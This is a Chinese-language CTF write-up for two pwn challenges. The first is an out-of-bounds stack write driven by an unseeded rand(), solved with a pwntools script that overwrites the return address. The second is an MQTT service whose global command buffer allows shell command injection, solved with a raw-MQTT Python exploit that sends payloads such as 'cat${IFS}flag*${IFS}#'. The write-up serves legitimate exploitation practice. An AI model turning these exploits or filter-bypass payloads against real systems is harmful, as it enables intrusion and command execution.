Desctf

第一题:array

贴一下漏洞的代码的位置

__int64 vuln()
{
  unsigned __int64 v1; // rbx
  _QWORD v2[17]; // [rsp+0h] [rbp-B0h] BYREF
  unsigned __int64 number1; // [rsp+88h] [rbp-28h] BYREF
  unsigned __int64 number2[3]; // [rsp+90h] [rbp-20h] BYREF

  puts("plz input your number1:");
  fflush(stdout);
  read(0, &number1, 8u);
  if ( number1 <= 0x11 )
  {
    while ( getchar() != 'D' )
    {
      getchar();
      read(0, number2, 8u);
      v2[0] = number2[0];
      v1 = number2[0];
      if ( v1 > rand() % (number1 + 1) )
      {
        puts("No!");
      }
      else
      {
        puts("plz input your number2:");
        read(0, &v2[number2[0] + 1], 8u);
      }
    }
    puts("Ok");
    return 0;
  }
  else
  {
    puts("No!");
    return 0xFFFFFFFFLL;
  }
}

这里首先注意的是random并没有初始化种子,这里导致的是每次生成的数值是相对固定的

然后我们分析一下,没有什么类型转化导致的溢出,我们第一次输入的最大的数值0x11(这里注意的一点是输入字节,因为read是单纯对内存地址进行写入的,并且题目中写入之后并没内有进行其他的转化)

之后就进入随机数生成的生成,这里只要我们输入number2的数值小于rand生成的数值,就能往v2数组里面写

思路的话也很简单,首先找一个合适的随机数,让其v2达到最大的索引17(这里注意不是18,一共有17个元素,这里意味着v2数组支持的最大索引的数值是16,而不是对应的17),我们这个时候写入0x10即可。

我们将其修改成一个大值(最好贴近0x16),然后当随机数生成0x16(*8=0xb0)的时候,我们将其写入返回地址,之后退出即可执行后门函数。

这里我们需要加上一个ret片段额外,要不不能满足栈对齐

最终exp如下

一开始我们没有考虑到对齐,考虑到对齐上面的数值的需要简单的改改,具体的改动可以根据exp调一下

from pwn import *
io = process('./array')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

#gdb.attach(io,"b *0x4011D3")
io.send(b'\x11\x00\x00\x00\x00\x00\x00\x00')  #这里会被后续错位理解成换行符,就是这里的16进制里的数字在后面会被当成10进制
#pause()
def cyc():
    io.sendline(b'a') #pass
    #pause()
    io.send(b'\x00') 
    io.recvuntil("plz input your number2:")
    io.send(b'\x66\x66\x66\x66')
def change():
    io.sendline(b'a') #pass
    #pause()
    io.send(b'\x10') 
    io.recvuntil("plz input your number2:")
    #io.send(b'\x66\x66\x66\x66\x66\x66\x66\x66')
    io.send(b'\x17')
def pwn1():
    io.sendline(b'a') #pass
    #pause()
    io.send(b'\x16')  #
    io.recvuntil("plz input your number2:")
    io.send(p64(0x000000000040101a))
def pwn2():
    io.sendline(b'a') #pass
    #pause()
    io.send(b'\x17')  #
    io.recvuntil("plz input your number2:")
    io.send(p64(0x401339))
def exec():
    io.sendline(b'D') #pass
def cycl():
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    cyc()
    #gdb.attach(io, "b *0x401246")
    change()
    #pwn()
cycl()

cyc()
cyc()
cyc()
cyc()
cyc()
cyc()

cyc()
cyc()
cyc()
cyc()
cyc()
cyc()

cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
#gdb.attach(io, "b *0x401246")
cyc()
cyc()
cyc()
cyc()
pwn2()
cyc()

cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
#gdb.attach(io, "b *0x401246")
pwn1()
#gdb.attach(io, "b *0x401246")
exec()
io.interactive()

第二题:mqtt

程序依赖 libpaho-mqtt3c.so.1,说明其核心通信方式是 MQTT

这个是我们做过的mqtt系列的第二道题目

通过下面我们创建了一个MQTT客户端

rc = MQTTClient_create(&client, p_tcp:__localhost:9999_1, "httpclient", 1, 0);

然后我们注册这个函数

rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered);

这里我们重点看一下main里的这个函数

__int64 __fastcall msgarrvd(__int64 a1, const char *a2, int a3, __int64 a4)
{
  __int64 v5; // [rsp+0h] [rbp-80h] BYREF
  int v6; // [rsp+Ch] [rbp-74h]
  const char *v7; // [rsp+10h] [rbp-70h]
  __int64 v8; // [rsp+18h] [rbp-68h]
  __int64 v9; // [rsp+28h] [rbp-58h]
  char s1[72]; // [rsp+30h] [rbp-50h] BYREF
  unsigned __int64 v11; // [rsp+78h] [rbp-8h]

  v8 = a1;
  v7 = a2;
  v6 = a3;
  v5 = a4;
  v11 = __readfsqword(0x28u);
  v9 = *(_QWORD *)(a4 + 16);
  if ( (unsigned int)__isoc99_sscanf(v9, "{\"clientid\":\"%63[^\"]\",", s1) == 1 && !strcmp(s1, "httpclient") )
  {
    MQTTClient_freeMessage(&v5);
    MQTTClient_free(v7);
    return 1;
  }
  else
  {
    http(v9);
    puts("Message arrived");
    printf("     topic: %s\n", v7);
    printf("   message: %.*s\n", *(_DWORD *)(v5 + 8), *(const char **)(v5 + 16));
    MQTTClient_freeMessage(&v5);
    MQTTClient_free(v7);
    return 1;
  }
}

这里我们绕过过滤之后就能进入http这个函数,利用下面这个部分读取flag

    snprintf(src, 0x80u, "cat /home/ctf/%s", s);
    n = strlen(src);
    memcpy(cmd, src, n);
    if ( !strcmp(s, "index_html") )
    {
      stream = popen(cmd, "r");

利用思路的话本质上还是利用的全局变量

  • 第一阶段:写入更长的恶意命令到全局 cmd,虽然这次不会执行
  • 第二阶段:再写入合法的 index_html,触发执行
  • 因为第二次没有补 \0,第一次遗留的恶意尾巴还在
  • 最终形成命令拼接执行

这里补充一下基本的过滤绕过的知识

cat${IFS}/flag

# 注释掉 cmd 中残留的旧垃圾数据

最终exp如下

ai现在是真的强

#!/usr/bin/env python3
import socket
import struct
import threading
import time
import json
import random
import sys

HOST = sys.argv[1]
PORT = int(sys.argv[2])
TOPIC = "HTTP"

def pack_str(s):
    if isinstance(s, str):
        s = s.encode()
    return struct.pack("!H", len(s)) + s

def enc_varint(x):
    out = b""
    while True:
        b = x % 128
        x //= 128
        if x > 0:
            b |= 0x80
        out += bytes([b])
        if x == 0:
            return out

def recv_exact(sock, n):
    data = b""
    while len(data) < n:
        chunk = sock.recv(n - len(data))
        if not chunk:
            raise EOFError("socket closed")
        data += chunk
    return data

def recv_varint(sock):
    mult = 1
    value = 0
    while True:
        b = recv_exact(sock, 1)[0]
        value += (b & 0x7f) * mult
        if (b & 0x80) == 0:
            return value
        mult *= 128

def parse_str(buf, off):
    n = struct.unpack("!H", buf[off:off+2])[0]
    off += 2
    s = buf[off:off+n]
    off += n
    return s, off

class MQTTClient:
    def __init__(self, host, port):
        self.sock = socket.create_connection((host, port))
        self.running = True

    def send_pkt(self, pkt_type_flags, body):
        self.sock.sendall(bytes([pkt_type_flags]) + enc_varint(len(body)) + body)

    def connect(self, client_id):
        vh = pack_str("MQTT") + bytes([4, 2]) + struct.pack("!H", 60)
        payload = pack_str(client_id)
        self.send_pkt(0x10, vh + payload)

        hdr = recv_exact(self.sock, 1)[0]
        if hdr != 0x20:
            raise RuntimeError(f"bad CONNACK header: {hdr:#x}")
        rem = recv_varint(self.sock)
        body = recv_exact(self.sock, rem)
        if body != b"\x00\x00":
            raise RuntimeError(f"CONNACK failed: {body!r}")

    def subscribe(self, topic, qos=0):
        pid = 1
        body = struct.pack("!H", pid) + pack_str(topic) + bytes([qos])
        self.send_pkt(0x82, body)

        hdr = recv_exact(self.sock, 1)[0]
        if hdr != 0x90:
            raise RuntimeError(f"bad SUBACK header: {hdr:#x}")
        rem = recv_varint(self.sock)
        recv_exact(self.sock, rem)

    def publish(self, topic, payload, qos=0):
        if isinstance(payload, str):
            payload = payload.encode()
        body = pack_str(topic) + payload
        hdr = 0x30 | (qos << 1)
        self.send_pkt(hdr, body)

    def close(self):
        try:
            self.sock.close()
        except:
            pass

def publish_once(payload):
    cli = MQTTClient(HOST, PORT)
    cli.connect(f"pub{random.randint(1000,9999)}")
    cli.publish(TOPIC, payload, qos=0)
    cli.close()

def make_stage1(cmd):
    if not cmd.endswith("${IFS}#"):
        cmd = cmd + "${IFS}#"
    inj = "index_html;" + cmd
    if len(inj) > 63:
        raise ValueError(f"payload too long ({len(inj)} > 63): {inj}")
    return f"GET /ctf/{inj} HTTP/1.1\r\n\r\n\x00".encode()

def make_stage2():
    return b"GET /ctf/index_html HTTP/1.1\r\n\r\n\x00"

def trigger(cmd):
    print("=" * 60)
    print("[+] cmd =", cmd)
    publish_once(make_stage1(cmd))
    time.sleep(0.5)
    publish_once(make_stage2())
    time.sleep(2.5)

def reader_loop(sub):
    while sub.running:
        try:
            first = recv_exact(sub.sock, 1)[0]
        except EOFError:
            break
        rem = recv_varint(sub.sock)
        body = recv_exact(sub.sock, rem)
        pkt_type = first >> 4

        if pkt_type != 3:
            continue

        off = 0
        topic, off = parse_str(body, off)
        payload = body[off:]

        try:
            txt = payload.decode("utf-8", "ignore").rstrip("\x00\r\n")
        except:
            txt = repr(payload)

        print(f"[sub] topic={topic.decode(errors='ignore')} raw={txt}")

        try:
            obj = json.loads(txt)
            if obj.get("clientid") == "httpclient":
                msg = obj.get("message", "")
                print(f"[sub] httpclient => {msg}")
                if "flag{" in msg.lower() or "ctf{" in msg.lower():
                    print(f"[!!!] maybe flag => {msg}")
        except:
            pass

def main():
    sub = MQTTClient(HOST, PORT)
    sub.connect(f"sub{random.randint(1000,9999)}")
    sub.subscribe(TOPIC, qos=0)

    t = threading.Thread(target=reader_loop, args=(sub,), daemon=True)
    t.start()

    print("[+] wait 3 seconds for heartbeat...")
    time.sleep(3)

    cmds = [
        "echo${IFS}PWNED",
        "echo${IFS}$PWD",
        "echo${IFS}*",
        "cat${IFS}f*",
        "cat${IFS}flag*",
        "cat${IFS}*flag*",
    ]

    for cmd in cmds:
        try:
            trigger(cmd)
        except Exception as e:
            print("[!] error:", e)

    print("[+] keep listening 5 seconds...")
    time.sleep(5)
    sub.running = False
    sub.close()

if __name__ == "__main__":
    main()